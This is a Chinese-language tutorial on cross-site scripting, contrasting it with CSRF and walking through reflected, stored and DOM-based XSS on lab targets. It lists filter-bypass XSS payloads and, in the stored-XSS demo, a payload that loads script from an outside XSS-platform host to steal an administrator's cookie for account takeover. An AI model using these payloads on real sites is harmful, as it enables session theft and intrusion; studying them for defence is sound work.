跨站腳本攻擊XSS與CSRF區(qū)別方法詳解
引文
上篇文章給大家?guī)砹薠ML實體注入(XXE)不知道小伙伴們學(xué)了后有沒有自己去運(yùn)用,今天給大家?guī)砹艘粋€名為跨站腳本攻擊(XSS)的漏洞的介紹。
簡介
XSS 攻擊全稱跨站腳本攻擊,XSS 是一種在 web 應(yīng)用中的安全漏洞,它允許攻擊者將代碼植入到 web 網(wǎng)站里面,供給其它用戶 訪問,當(dāng)用戶訪問到有惡意代碼的網(wǎng)頁就會產(chǎn)生 xss 攻擊。
XSS與CSRF區(qū)別
之前講過CSRF漏洞,它同樣也是利用用戶訪問網(wǎng)站鏈接來進(jìn)行攻擊,那么它與XSS漏洞之間的區(qū)別是什么,在我個人的理解中可以分為兩個大方向:
ONE
原理不同,CSRF利用的是網(wǎng)站本身的漏洞來去攻擊,而XSS則是將攻擊代碼插入網(wǎng)站中來進(jìn)行攻擊。
TWO
利用環(huán)境不同, CSRF攻擊中需要受害者登錄網(wǎng)站,網(wǎng)站有認(rèn)證信息才能攻擊,而XSS不用。
XSS攻擊方法
首先XSS有三種攻擊方式:
- 反射型xss:不會永久存儲用戶的數(shù)據(jù),僅發(fā)生在用戶的一次訪問之后。
- 存儲型xss:攻擊代碼被持久化保存在服務(wù)器上,不會因為一次訪問就消失,持久攻擊。
- DOM型不需要與服務(wù)器端交互的,它只發(fā)生在客戶端處理數(shù)據(jù)階段。
接下來我會分開詳細(xì)的講解這幾種類型是怎樣利用的:
反射型
客戶端通過某種方式向服務(wù)器端發(fā)送惡意JS代碼=>服務(wù)器將未過濾或過濾不徹底的惡意JS代碼輸出(返回給瀏覽器)=>瀏覽器中的JS解釋器解析惡意JS代碼,使用戶受到攻擊。
一個經(jīng)典的XSS攻擊請求,然網(wǎng)頁彈出xss:
<script>alert(/xss/)</script>
當(dāng)然不止這一個,很多情況下一些函數(shù)被過濾了,我們也有繞過過濾的方法,下面就簡單列舉幾個:
<script>alert(vulnerable)</script> %3Cscript%3Ealert('XSS')%3C/script%3E <script>alert('XSS')</script> <img src="javascript:alert('XSS')"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> 1"><ScscriptRipt>alert(1)</ScscriptRipt>
接下來給大家?guī)硪粋€滲透的例子:
我們打開靶機(jī)查看源碼,發(fā)現(xiàn)它是向服務(wù)器提交了一個name參數(shù),而這一個參數(shù)值插入到了<h3></h3>
標(biāo)簽之間 ,因此可能存在XSS漏洞。
于是我們構(gòu)造請求,將name賦值為:
<script>alert('xss')</script>
一個經(jīng)典的彈窗payload,我們提交請求查看效果:
成功彈窗,一次簡單的反射XSS攻擊成功達(dá)成。
存儲型
儲型XSS的特別之處在于提交的代碼會存儲在服務(wù)器端(數(shù)據(jù)庫、內(nèi)存、文件系統(tǒng)等),下次請求時目標(biāo)頁面時不用再提交XSS代碼。所以存儲型XSS的攻擊效果更強(qiáng),而且攻擊的范圍更廣。一般存在于留言板評論等地區(qū)。 用一個靶機(jī)來給大家演示一下:
一個可以發(fā)表信息樹洞網(wǎng)站,有登錄和評論系統(tǒng),我們先隨便評論幾句測試一下:
構(gòu)造PAYLOAD
<IMG SRC="javascript.:alert('XINO');">
我們簡單訪問一下存儲路徑,發(fā)現(xiàn)是一個錯報的圖片,存在XSS漏洞,接著我們利用XSS平臺(一個DIY構(gòu)造不同XSS攻擊功能代碼的網(wǎng)站,當(dāng)XSS生效時可以回到網(wǎng)站查看攻擊是否生效和攻擊得出的信息)構(gòu)造XSSpayload
得到構(gòu)造好的惡意攻擊鏈接:
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xss9.com/PAns';>
提交在評論區(qū)然后訪問保存路徑,回到XSS平臺查看:
得到admin管理員的cookie,我們就可以通過修改cookie來獲取管理員權(quán)限,從而進(jìn)行進(jìn)一步的滲透攻擊。上面就是一個簡單的存儲型XSS的利用。
DOM型
攻擊代碼并不需要服務(wù)器解析響應(yīng),利用的是瀏覽器端的DOM解析,在客戶端直接輸出DOM內(nèi)容的時候極易觸發(fā)DOM型XSS漏洞。因為利用比較少,就放個簡單payload:
<img src=1 onerror=alert(1)>
XSS攻擊危害
根據(jù)上文的演示大家也能看出來XSS的危害了吧,這里就綜合簡述一下它的危害。
- 盜取各類用戶帳號,如管理員帳號
- 控制企業(yè)數(shù)據(jù),包括讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)的能力
- 網(wǎng)站掛馬
- 強(qiáng)制發(fā)送電子郵件(釣魚)
- 控制受害者機(jī)器(肉雞)向其它網(wǎng)站發(fā)起攻擊
結(jié)語
今天比較詳細(xì)的講了XSS漏洞的原理以及應(yīng)用方法,其中比較重要的是反射型XSS與存儲型XSS,這兩個的利用條件并不是很苛刻而且效果很突出,有興趣的小伙伴可以自己去搭建靶機(jī)來進(jìn)行合法測試,切勿隨意對別人網(wǎng)站進(jìn)行測試攻擊,互聯(lián)網(wǎng)并非法外之地,以上就是跨站腳本攻擊XSS與CSRF區(qū)別方法詳解的詳細(xì)內(nèi)容,更多關(guān)于跨站腳本攻擊XSS CSRF的資料請關(guān)注腳本之家其它相關(guān)文章!